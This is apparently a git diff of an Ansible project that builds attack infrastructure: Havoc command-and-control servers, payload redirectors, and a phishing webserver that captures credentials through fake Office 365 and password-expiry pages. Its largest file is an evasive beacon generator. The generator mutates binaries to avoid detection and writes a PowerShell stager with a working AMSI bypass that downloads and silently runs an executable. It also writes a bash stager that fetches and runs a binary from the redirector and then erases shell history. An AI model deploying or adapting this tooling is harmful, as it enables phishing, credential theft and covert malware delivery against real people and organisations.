+├── logs
+├── payload-server
+│ ├── files
+│ ├── payload_redirector.yml
+│ ├── payload_server.yml
+│ ├── tasks
+│ └── templates
+├── phishing
+│ ├── cleanup_phishing.yml
+│ ├── deploy_phishing_infrastructure.yml
+│ ├── files
+│ ├── gophish_server.yml
+│ ├── mta_front.yml
+│ ├── phishing_redirector.yml
+│ ├── phishing_webserver.yml
+│ ├── Plan.md
+│ ├── tasks
+│ └── templates
+│ ├── email-templates
+│ │ ├── file_share.j2
+│ │ ├── office365_login.j2
+│ │ ├── password_expiry.j2
+│ │ └── security_alert.j2
+│ ├── fake-login.html.j2
+│ ├── fedramp-compliance.j2
+│ ├── gophish-advanced-config.j2
+│ ├── gophish-config.j2
+│ ├── nginx-phishing-webserver.j2
+│ ├── phishing_deployment_state.j2
+│ ├── phishing-landing-page.j2
+│ └── postfix-mta-front.j2
+├── PROJECT-STATUS.md
+├── providers
+│ ├── AWS
+│ │ ├── AMI-ID-Grabber.sh
+│ │ ├── c2-vars-template.yaml
+│ │ ├── c2.yml
+│ │ ├── cleanup.yml
+│ │ ├── files
+│ │ ├── infrastructure.yml
+│ │ ├── process_vpc.yml
+│ │ ├── redirector.yml
+│ │ ├── tasks
+│ │ ├── templates
+│ │ └── vars.yaml
+│ ├── FlokiNET
+│ │ ├── c2-deploy.yaml
+│ │ ├── c2.yml
+│ │ ├── cleanup.yml
+│ │ ├── files
+│ │ ├── flokinet-security.yml
+│ │ ├── provision.yml
+│ │ ├── redirector.yml
+│ │ ├── tasks
+│ │ └── templates
+│ └── Linode
+│ ├── c2.yml
+│ ├── cleanup.yml
+│ ├── files
+│ ├── redirector.yml
+│ ├── tasks
+│ ├── templates
+│ ├── tracker.yml
+│ └── vars.yaml
+├── README.md
+├── redirectors
+│ ├── files
+│ ├── tasks
+│ └── templates
+│ ├── nginx-payload-redirector.j2
+│ ├── nginx-phishing-redirector.j2
+│ ├── redirector-havoc-fragment.j2
+│ ├── redirector-index.html.j2
+│ ├── redirector-site.conf.j2
+│ └── redirector-site-with-tracker.conf.j2
+├── requirements.txt
+├── share-drive
+│ ├── files
+│ ├── tasks
+│ └── templates
+├── structure.txt
+├── tracker
+└── universal
+ ├── files
+ │ ├── clean-logs.sh
+ │ ├── havoc_installer.sh
+ │ ├── havoc_mutate.sh
+ │ ├── havoc_shell_handler.sh
+ │ ├── implant_mutator.sh
+ │ ├── persistent-listener.sh
+ │ ├── post_install_c2.sh
+ │ ├── post_install_redirector.sh
+ │ ├── randomize_ports.sh
+ │ ├── rubber-ducky.txt
+ │ ├── secure-exit.sh
+ │ ├── secure_payload_sync.sh
+ │ ├── simple_email_tracker.py
+ │ ├── tracker-nginx.conf
+ │ ├── tracker.service
+ │ └── tracker-stats.sh
+ ├── tasks
+ │ ├── cleanup_confirmation.yml
+ │ ├── configure_advanced_evasion.yml
+ │ ├── configure_c2.yml
+ │ ├── configure_fedramp_compliance.yml
+ │ ├── configure_gophish_advanced.yml
+ │ ├── configure_integrated_tracker.yml
+ │ ├── configure_mail.yml
+ │ ├── configure_mta_front.yml
+ │ ├── configure_payload_redirector.yml
+ │ ├── configure_payload_server.yml
+ │ ├── configure_phishing_redirector.yml
+ │ ├── configure_phishing_server.yml
+ │ ├── configure_phishing_webserver.yml
+ │ ├── configure_redirector.yml
+ │ ├── initial-infrastructure.yml
+ │ ├── install_tools.yml
+ │ ├── port_randomization.yml
+ │ ├── security_hardening.yml
+ │ ├── setup_phishing_security.yml
+ │ └── traffic_flow_config.yml
+ └── templates
+ ├── capture.php.j2
+ ├── default-site.j2
+ ├── generate_evasive_beacons.sh.j2
+ ├── generate_havoc_payloads.sh.j2
+ ├── havoc-config.yaotl.j2
+ ├── havoc-guide.j2
+ ├── index.html.j2
+ ├── infrastructure_state.j2
+ ├── linux_loader.sh.j2
+ ├── manifest.json.j2
+ ├── motd-aws.j2
+ ├── motd.j2
+ ├── motd-linode.j2
+ ├── motd-redirector.j2
+ ├── nginx.conf.j2
+ ├── POST_INSTALL_INSTRUCTIONS.txt.j2
+ ├── proxychains.conf.j2
+ ├── reference.txt.j2
+ ├── resolv.conf.j2
+ ├── secure-ssh.sh.j2
+ ├── serve-havoc-payloads.sh.j2
+ ├── setup-cert.sh.j2
+ ├── shell-handler.service.j2
+ ├── simple_email_tracker.py.j2
+ ├── stream.conf.j2
+ ├── torrc.j2
+ ├── tracker-config.j2
+ ├── tracker-nginx.conf.j2
+ ├── tracker.service.j2
+ └── windows_loader.ps1.j2
+
+53 directories, 122 files
diff --git a/files/clean-logs.sh b/universal/files/clean-logs.sh
similarity index 100%
rename from files/clean-logs.sh
rename to universal/files/clean-logs.sh
diff --git a/files/havoc_installer.sh b/universal/files/havoc_installer.sh
similarity index 100%
rename from files/havoc_installer.sh
rename to universal/files/havoc_installer.sh
diff --git a/files/havoc_mutate.sh b/universal/files/havoc_mutate.sh
similarity index 100%
rename from files/havoc_mutate.sh
rename to universal/files/havoc_mutate.sh
diff --git a/files/havoc_shell_handler.sh b/universal/files/havoc_shell_handler.sh
similarity index 100%
rename from files/havoc_shell_handler.sh
rename to universal/files/havoc_shell_handler.sh
diff --git a/files/implant_mutator.sh b/universal/files/implant_mutator.sh
similarity index 100%
rename from files/implant_mutator.sh
rename to universal/files/implant_mutator.sh
diff --git a/files/persistent-listener.sh b/universal/files/persistent-listener.sh
similarity index 100%
rename from files/persistent-listener.sh
rename to universal/files/persistent-listener.sh
diff --git a/files/post_install_c2.sh b/universal/files/post_install_c2.sh
similarity index 100%
rename from files/post_install_c2.sh
rename to universal/files/post_install_c2.sh
diff --git a/files/post_install_redirector.sh b/universal/files/post_install_redirector.sh
similarity index 100%
rename from files/post_install_redirector.sh
rename to universal/files/post_install_redirector.sh
diff --git a/files/randomize_ports.sh b/universal/files/randomize_ports.sh
similarity index 100%
rename from files/randomize_ports.sh
rename to universal/files/randomize_ports.sh
diff --git a/files/rubber-ducky.txt b/universal/files/rubber-ducky.txt
similarity index 100%
rename from files/rubber-ducky.txt
rename to universal/files/rubber-ducky.txt
diff --git a/files/secure-exit.sh b/universal/files/secure-exit.sh
similarity index 100%
rename from files/secure-exit.sh
rename to universal/files/secure-exit.sh
diff --git a/files/secure_payload_sync.sh b/universal/files/secure_payload_sync.sh
similarity index 100%
rename from files/secure_payload_sync.sh
rename to universal/files/secure_payload_sync.sh
diff --git a/files/simple_email_tracker.py b/universal/files/simple_email_tracker.py
similarity index 100%
rename from files/simple_email_tracker.py
rename to universal/files/simple_email_tracker.py
diff --git a/files/tracker-nginx.conf b/universal/files/tracker-nginx.conf
similarity index 100%
rename from files/tracker-nginx.conf
rename to universal/files/tracker-nginx.conf
diff --git a/files/tracker-stats.sh b/universal/files/tracker-stats.sh
similarity index 100%
rename from files/tracker-stats.sh
rename to universal/files/tracker-stats.sh
diff --git a/files/tracker.service b/universal/files/tracker.service
similarity index 100%
rename from files/tracker.service
rename to universal/files/tracker.service
diff --git a/tasks/cleanup_confirmation.yml b/universal/tasks/cleanup_confirmation.yml
similarity index 100%
rename from tasks/cleanup_confirmation.yml
rename to universal/tasks/cleanup_confirmation.yml
diff --git a/tasks/configure_advanced_evasion.yml b/universal/tasks/configure_advanced_evasion.yml
similarity index 100%
rename from tasks/configure_advanced_evasion.yml
rename to universal/tasks/configure_advanced_evasion.yml
diff --git a/tasks/configure_c2.yml b/universal/tasks/configure_c2.yml
similarity index 100%
rename from tasks/configure_c2.yml
rename to universal/tasks/configure_c2.yml
diff --git a/tasks/configure_fedramp_compliance.yml b/universal/tasks/configure_fedramp_compliance.yml
similarity index 100%
rename from tasks/configure_fedramp_compliance.yml
rename to universal/tasks/configure_fedramp_compliance.yml
diff --git a/tasks/configure_gophish_advanced.yml b/universal/tasks/configure_gophish_advanced.yml
similarity index 100%
rename from tasks/configure_gophish_advanced.yml
rename to universal/tasks/configure_gophish_advanced.yml
diff --git a/tasks/configure_integrated_tracker.yml b/universal/tasks/configure_integrated_tracker.yml
similarity index 100%
rename from tasks/configure_integrated_tracker.yml
rename to universal/tasks/configure_integrated_tracker.yml
diff --git a/tasks/configure_mail.yml b/universal/tasks/configure_mail.yml
similarity index 100%
rename from tasks/configure_mail.yml
rename to universal/tasks/configure_mail.yml
diff --git a/tasks/configure_mta_front.yml b/universal/tasks/configure_mta_front.yml
similarity index 100%
rename from tasks/configure_mta_front.yml
rename to universal/tasks/configure_mta_front.yml
diff --git a/universal/tasks/configure_payload_redirector.yml b/universal/tasks/configure_payload_redirector.yml
new file mode 100644
index 0000000..bc33673
--- /dev/null
+++ b/universal/tasks/configure_payload_redirector.yml
@@ -0,0 +1,89 @@
+---
+# Configure payload redirector for hosting and delivering payloads
+
+- name: Install required packages
+ apt:
+ name:
+ - nginx
+ - certbot
+ - python3-certbot-nginx
+ state: present
+ update_cache: yes
+
+- name: Create payload directories
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0755'
+ owner: www-data
+ group: www-data
+ loop:
+ - /var/www/payloads
+ - /var/www/payloads/windows
+ - /var/www/payloads/linux
+ - /var/www/payloads/macos
+ - /var/www/payloads/docs
+
+- name: Configure NGINX for payload delivery
+ template:
+ src: "../templates/phishing/nginx-payload-redirector.j2"
+ dest: /etc/nginx/sites-available/payloads
+ mode: '0644'
+
+- name: Enable payload site
+ file:
+ src: /etc/nginx/sites-available/payloads
+ dest: /etc/nginx/sites-enabled/payloads
+ state: link
+
+- name: Create payload sync script
+ template:
+ src: "../templates/phishing/sync_payloads.sh.j2"
+ dest: /root/Tools/sync_payloads.sh
+ mode: '0700'
+
+- name: Set up payload sync timer
+ block:
+ - name: Create systemd service
+ copy:
+ content: |
+ [Unit]
+ Description=Payload Sync Service
+ After=network.target
+
+ [Service]
+ Type=oneshot
+ ExecStart=/root/Tools/sync_payloads.sh
+ User=root
+
+ [Install]
+ WantedBy=multi-user.target
+ dest: /etc/systemd/system/payload-sync.service
+
+ - name: Create systemd timer
+ copy:
+ content: |
+ [Unit]
+ Description=Payload Sync Timer
+ Requires=payload-sync.service
+
+ [Timer]
+ OnBootSec=5min
+ OnUnitActiveSec=15min
+ Persistent=true
+
+ [Install]
+ WantedBy=timers.target
+ dest: /etc/systemd/system/payload-sync.timer
+
+ - name: Enable and start timer
+ systemd:
+ name: payload-sync.timer
+ state: started
+ enabled: yes
+ daemon_reload: yes
+
+- name: Configure firewall rules
+ include_tasks: security_hardening.yml
+ vars:
+ server_role: "payload_redirector"
\ No newline at end of file
diff --git a/universal/tasks/configure_payload_server.yml b/universal/tasks/configure_payload_server.yml
new file mode 100644
index 0000000..3a15aab
--- /dev/null
+++ b/universal/tasks/configure_payload_server.yml
@@ -0,0 +1,78 @@
+---
+# Configure payload server for creating and hosting malicious payloads
+
+- name: Install payload generation tools
+ apt:
+ name:
+ - mingw-w64
+ - golang
+ - python3-pip
+ - upx-ucl
+ - osslsigncode
+ - mono-complete
+ - wine64
+ - wine32
+ state: present
+ update_cache: yes
+
+- name: Create payload directories
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0700'
+ owner: root
+ group: root
+ loop:
+ - /root/Tools/payloads
+ - /root/Tools/payloads/templates
+ - /root/Tools/payloads/output
+ - /root/Tools/payloads/scripts
+
+- name: Install Python payload tools
+ pip:
+ name:
+ - pycryptodome
+ - pyinstaller
+ - py2exe
+ state: present
+
+- name: Clone payload generation tools
+ git:
+ repo: "{{ item.repo }}"
+ dest: "{{ item.dest }}"
+ loop:
+ - { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
+ - { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
+ - { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
+
+- name: Build Go tools
+ shell: |
+ cd {{ item }} && go build
+ args:
+ creates: "{{ item }}/{{ item | basename }}"
+ loop:
+ - /root/Tools/go-donut
+ - /root/Tools/ScareCrow
+
+- name: Deploy payload generation scripts
+ template:
+ src: "{{ item.src }}"
+ dest: "{{ item.dest }}"
+ mode: '0700'
+ loop:
+ - { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
+ - { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
+ - { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
+
+- name: Create payload hosting service
+ template:
+ src: "../templates/phishing/payload-server.service.j2"
+ dest: /etc/systemd/system/payload-server.service
+ mode: '0644'
+
+- name: Start payload server
+ systemd:
+ name: payload-server
+ state: started
+ enabled: yes
+ daemon_reload: yes
\ No newline at end of file
diff --git a/tasks/configure_phishing_redirector.yml b/universal/tasks/configure_phishing_redirector.yml
similarity index 100%
rename from tasks/configure_phishing_redirector.yml
rename to universal/tasks/configure_phishing_redirector.yml
diff --git a/tasks/configure_phishing_server.yml b/universal/tasks/configure_phishing_server.yml
similarity index 100%
rename from tasks/configure_phishing_server.yml
rename to universal/tasks/configure_phishing_server.yml
diff --git a/universal/tasks/configure_phishing_webserver.yml b/universal/tasks/configure_phishing_webserver.yml
new file mode 100644
index 0000000..31dabce
--- /dev/null
+++ b/universal/tasks/configure_phishing_webserver.yml
@@ -0,0 +1,85 @@
+---
+# Configure phishing web server with landing pages and credential capture
+
+- name: Install required packages
+ apt:
+ name:
+ - nginx
+ - php-fpm
+ - php-json
+ - certbot
+ - python3-certbot-nginx
+ state: present
+ update_cache: yes
+
+- name: Create web directories
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0755'
+ owner: www-data
+ group: www-data
+ loop:
+ - /var/www/phishing
+ - /var/www/phishing/templates
+ - /var/www/phishing/static
+ - /var/www/phishing/captures
+ - /var/private/phishing_creds
+
+- name: Deploy phishing templates
+ template:
+ src: "{{ item.src }}"
+ dest: "{{ item.dest }}"
+ mode: '0644'
+ owner: www-data
+ group: www-data
+ loop:
+ - { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
+ - { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
+ - { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
+ - { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
+ - { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
+
+- name: Deploy credential capture script
+ template:
+ src: "../templates/phishing/capture.php.j2"
+ dest: "/var/www/phishing/capture.php"
+ mode: '0640'
+ owner: www-data
+ group: www-data
+
+- name: Configure NGINX for phishing sites
+ template:
+ src: "../templates/phishing/nginx-phishing-webserver.j2"
+ dest: /etc/nginx/sites-available/phishing
+ mode: '0644'
+
+- name: Enable phishing site
+ file:
+ src: /etc/nginx/sites-available/phishing
+ dest: /etc/nginx/sites-enabled/phishing
+ state: link
+
+- name: Remove default nginx site
+ file:
+ path: /etc/nginx/sites-enabled/default
+ state: absent
+
+- name: Configure PHP-FPM for security
+ lineinfile:
+ path: /etc/php/7.4/fpm/php.ini
+ regexp: "{{ item.regexp }}"
+ line: "{{ item.line }}"
+ loop:
+ - { regexp: '^expose_php', line: 'expose_php = Off' }
+ - { regexp: '^display_errors', line: 'display_errors = Off' }
+ - { regexp: '^log_errors', line: 'log_errors = On' }
+
+- name: Restart services
+ systemd:
+ name: "{{ item }}"
+ state: restarted
+ enabled: yes
+ loop:
+ - nginx
+ - php7.4-fpm
\ No newline at end of file
diff --git a/tasks/configure_redirector.yml b/universal/tasks/configure_redirector.yml
similarity index 100%
rename from tasks/configure_redirector.yml
rename to universal/tasks/configure_redirector.yml
diff --git a/tasks/initial-infrastructure.yml b/universal/tasks/initial-infrastructure.yml
similarity index 100%
rename from tasks/initial-infrastructure.yml
rename to universal/tasks/initial-infrastructure.yml
diff --git a/tasks/install_tools.yml b/universal/tasks/install_tools.yml
similarity index 100%
rename from tasks/install_tools.yml
rename to universal/tasks/install_tools.yml
diff --git a/tasks/port_randomization.yml b/universal/tasks/port_randomization.yml
similarity index 100%
rename from tasks/port_randomization.yml
rename to universal/tasks/port_randomization.yml
diff --git a/tasks/security_hardening.yml b/universal/tasks/security_hardening.yml
similarity index 100%
rename from tasks/security_hardening.yml
rename to universal/tasks/security_hardening.yml
diff --git a/tasks/setup_phishing_security.yml b/universal/tasks/setup_phishing_security.yml
similarity index 100%
rename from tasks/setup_phishing_security.yml
rename to universal/tasks/setup_phishing_security.yml
diff --git a/tasks/traffic_flow_config.yml b/universal/tasks/traffic_flow_config.yml
similarity index 100%
rename from tasks/traffic_flow_config.yml
rename to universal/tasks/traffic_flow_config.yml
diff --git a/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 b/universal/templates/POST_INSTALL_INSTRUCTIONS.txt.j2
similarity index 100%
rename from templates/POST_INSTALL_INSTRUCTIONS.txt.j2
rename to universal/templates/POST_INSTALL_INSTRUCTIONS.txt.j2
diff --git a/templates/capture.php.j2 b/universal/templates/capture.php.j2
similarity index 100%
rename from templates/capture.php.j2
rename to universal/templates/capture.php.j2
diff --git a/templates/default-site.j2 b/universal/templates/default-site.j2
similarity index 100%
rename from templates/default-site.j2
rename to universal/templates/default-site.j2
diff --git a/universal/templates/generate_evasive_beacons.sh.j2 b/universal/templates/generate_evasive_beacons.sh.j2
new file mode 100644
index 0000000..45b3657
--- /dev/null
+++ b/universal/templates/generate_evasive_beacons.sh.j2
@@ -0,0 +1,456 @@
+#!/bin/bash
+# EDR-evasive beacon generator for Havoc C2
+# Every deployment produces completely unique payloads
+
+# Configuration (automatically populated by Ansible)
+HAVOC_DIR="/root/Tools/Havoc"
+BEACONS_DIR="/root/Tools/beacons"
+C2_HOST="{{ ansible_host }}"
+REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
+REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
+PROFILE_FILE="$HAVOC_DIR/config/profile.json"
+
+# Ensure required directories exist
+mkdir -p $BEACONS_DIR/windows
+mkdir -p $BEACONS_DIR/linux
+mkdir -p $BEACONS_DIR/staged
+mkdir -p $BEACONS_DIR/shellcode
+
+# Load Havoc configuration from profile
+if [ -f "$PROFILE_FILE" ]; then
+ echo "[+] Loading Havoc configuration from profile..."
+ TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
+ ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
+ ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
+ HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
+ HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
+else
+ echo "[!] Warning: Profile file not found, using default values"
+ TEAMSERVER_PORT=40056
+ ADMIN_USER="admin"
+ ADMIN_PASS="admin"
+ HTTP_PORT=8080
+ HTTPS_PORT=443
+fi
+
+# Generate unique random values for each execution
+random_string() {
+ cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
+}
+
+# Anti-detection function to modify binary files
+modify_binary() {
+ local input_file=$1
+
+ echo "[+] Applying anti-detection modifications to: $input_file"
+
+ # Create a temporary file
+ local temp_file="${input_file}.tmp"
+ cp "$input_file" "$temp_file"
+
+ # Modify the file based on its type
+ if file "$input_file" | grep -q "PE32"; then
+ # Windows EXE/DLL modifications
+
+ # Add random bytes to end of file
+ dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
+
+ # Modify PE header timestamps with random value
+ random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
+ printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
+ dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
+
+ # Try to strip debug information
+ if command -v strip &> /dev/null; then
+ strip --strip-debug "$temp_file" 2>/dev/null || true
+ fi
+
+ elif file "$input_file" | grep -q "ELF"; then
+ # Linux ELF modifications
+
+ # Add random bytes to end of file
+ dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
+
+ # Try to strip all symbols
+ if command -v strip &> /dev/null; then
+ strip --strip-all "$temp_file" 2>/dev/null || true
+ fi
+ fi
+
+ # Replace original with modified version
+ mv "$temp_file" "$input_file"
+
+ echo "[+] Binary modifications complete"
+}
+
+# Create advanced Havoc payload profile with evasion techniques
+generate_profile() {
+ local type=$1
+ local profile_name="${type}_profile_$(random_string 8).json"
+
+ echo "[+] Creating evasive $type profile..."
+
+ # Generate random values for this profile
+ local sleep_time=$(( RANDOM % 10 + 2 ))
+ local jitter_percent=$(( RANDOM % 50 + 10 ))
+
+ if [ "$type" == "windows" ]; then
+ cat > "$BEACONS_DIR/$profile_name" << EOF
+{
+ "Listener": "https",
+ "Demon": {
+ "Sleep": ${sleep_time},
+ "SleepJitter": ${jitter_percent},
+ "IndirectSyscalls": true,
+ "Inject": {
+ "AllocationMethod": $(( RANDOM % 3 )),
+ "ExecutionMethod": $(( RANDOM % 3 )),
+ "ExecuteOptions": $(( RANDOM % 2 ))
+ },
+ "Evasion": {
+ "StackSpoofing": true,
+ "SleazeUnhook": true,
+ "AmsiEtwPatching": true,
+ "SyscallMethod": $(( RANDOM % 3 )),
+ "EnableSleepMask": true,
+ "SleepMaskTechnique": $(( RANDOM % 4 ))
+ },
+ "Binary": {
+ "Subsystem": $(( RANDOM % 2 + 1 ))
+ }
+ }
+}
+EOF
+ elif [ "$type" == "linux" ]; then
+ cat > "$BEACONS_DIR/$profile_name" << EOF
+{
+ "Listener": "https",
+ "Demon": {
+ "Sleep": ${sleep_time},
+ "SleepJitter": ${jitter_percent},
+ "Injection": {
+ "SpawnMethod": $(( RANDOM % 2 )),
+ "AllocationMethod": $(( RANDOM % 2 ))
+ },
+ "Evasion": {
+ "EnableSleepMask": true,
+ "SleepMaskTechnique": $(( RANDOM % 4 ))
+ }
+ }
+}
+EOF
+ fi
+
+ echo "$profile_name"
+}
+
+# Generate Havoc payloads with EDR evasion techniques
+generate_payloads() {
+ echo "[+] Generating EDR-evasive Havoc beacons..."
+
+ # Windows EXE
+ win_profile=$(generate_profile "windows")
+ win_output="update_win_$(random_string 8).exe"
+ echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
+
+ $HAVOC_DIR/Client/havoc headless \
+ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
+ --username "$ADMIN_USER" \
+ --password "$ADMIN_PASS" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$BEACONS_DIR/$win_profile" \
+ --format exe \
+ --output "$BEACONS_DIR/windows/$win_output" \
+ > /dev/null 2>&1
+
+ # Apply custom binary modifications
+ if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
+ modify_binary "$BEACONS_DIR/windows/$win_output"
+ fi
+
+ # Windows DLL
+ dll_profile=$(generate_profile "windows")
+ dll_output="module_$(random_string 8).dll"
+ echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
+
+ $HAVOC_DIR/Client/havoc headless \
+ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
+ --username "$ADMIN_USER" \
+ --password "$ADMIN_PASS" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$BEACONS_DIR/$dll_profile" \
+ --format dll \
+ --output "$BEACONS_DIR/windows/$dll_output" \
+ > /dev/null 2>&1
+
+ # Apply custom binary modifications
+ if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
+ modify_binary "$BEACONS_DIR/windows/$dll_output"
+ fi
+
+ # Linux binary
+ linux_profile=$(generate_profile "linux")
+ linux_output="update_linux_$(random_string 8)"
+ echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
+
+ $HAVOC_DIR/Client/havoc headless \
+ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
+ --username "$ADMIN_USER" \
+ --password "$ADMIN_PASS" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$BEACONS_DIR/$linux_profile" \
+ --format elf \
+ --output "$BEACONS_DIR/linux/$linux_output" \
+ > /dev/null 2>&1
+
+ # Apply custom binary modifications
+ if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
+ modify_binary "$BEACONS_DIR/linux/$linux_output"
+ fi
+
+ # Windows shellcode (staged payload)
+ shellcode_profile=$(generate_profile "windows")
+ shellcode_output="shellcode_$(random_string 8).bin"
+ echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
+
+ $HAVOC_DIR/Client/havoc headless \
+ --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
+ --username "$ADMIN_USER" \
+ --password "$ADMIN_PASS" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$BEACONS_DIR/$shellcode_profile" \
+ --format shellcode \
+ --output "$BEACONS_DIR/shellcode/$shellcode_output" \
+ > /dev/null 2>&1
+
+ echo "[+] All payloads generated successfully!"
+
+ # Return payload information
+ echo "$win_output:$dll_output:$linux_output:$shellcode_output"
+}
+
+# Generate PowerShell and bash stagers
+generate_stagers() {
+ win_output=$1
+ linux_output=$2
+
+ echo "[+] Generating evasive stagers..."
+
+ # Create PowerShell stager directory
+ mkdir -p $BEACONS_DIR/stagers
+
+ # PowerShell stager with AMSI bypass and obfuscation
+ cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
+# PowerShell stager for Havoc C2 with AMSI bypass
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+
+# AMSI Bypass
+function Bypass-AMSI {
+ $a = [Ref].Assembly.GetTypes()
+ ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
+ $d = $c.GetFields('NonPublic,Static')
+ ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
+ $g = $f.GetValue($null)
+ [IntPtr]$ptr = $g
+ [Int32[]]$buf = @(0)
+ [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
+}
+
+# Try to bypass AMSI
+try { Bypass-AMSI } catch {}
+
+# Randomize variables for evasion
+$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
+$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
+$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
+
+# Error handling with obfuscation
+$ErrorActionPreference = 'SilentlyContinue'
+$wc = New-Object System.Net.WebClient
+$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
+$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
+$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
+
+# Split URL to avoid detection
+$r1 = "https://"
+$r2 = "REDIRECTOR_HOST"
+$r3 = "/content/windows/WINDOWS_EXE"
+$url = $r1 + $r2 + $r3
+
+# Download with jitter
+$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
+try {
+ $wc.DownloadFile($url, $outpath)
+ Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
+
+ # Start process with extra obfuscation
+ $p = New-Object System.Diagnostics.Process
+ $p.StartInfo.FileName = $outpath
+ $p.StartInfo.WindowStyle = 'Hidden'
+ $p.StartInfo.CreateNoWindow = $true
+ $p.Start()
+
+} catch {
+ # Fail silently
+}
+EOF
+
+ # Replace placeholder values in PowerShell stager
+ sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
+ sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
+
+ # Bash stager with obfuscation techniques
+ cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
+#!/bin/bash
+# Linux download and execute Havoc beacon with EDR evasion
+
+# Function obfuscation
+function x() {
+ command -v "$1" > /dev/null 2>&1
+}
+
+# Random temp filename
+r() {
+ head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
+}
+
+# Randomize variables
+TMPVAR=$(r)
+TMPFILE="/tmp/.${TMPVAR}"
+
+# Check which download tool is available
+if x curl; then
+ # Split URL to avoid signature detection
+ p1="https://"
+ p2="REDIRECTOR_HOST"
+ p3="/content/linux/LINUX_BINARY"
+ url="${p1}${p2}${p3}"
+ # Add random sleep between operations
+ sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
+ curl -s -o "$TMPFILE" "$url"
+elif x wget; then
+ p1="https://"
+ p2="REDIRECTOR_HOST"
+ p3="/content/linux/LINUX_BINARY"
+ url="${p1}${p2}${p3}"
+ # Add random sleep between operations
+ sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
+ wget -q -O "$TMPFILE" "$url"
+else
+ exit 1
+fi
+
+# Make executable and run in background
+chmod +x "$TMPFILE"
+# Add random sleep before execution
+sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
+("$TMPFILE" > /dev/null 2>&1 &)
+
+# Clean up command history if possible
+[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
+history -c 2>/dev/null
+
+echo "Update complete."
+EOF
+
+ # Replace placeholder values in Bash stager
+ sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
+ sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
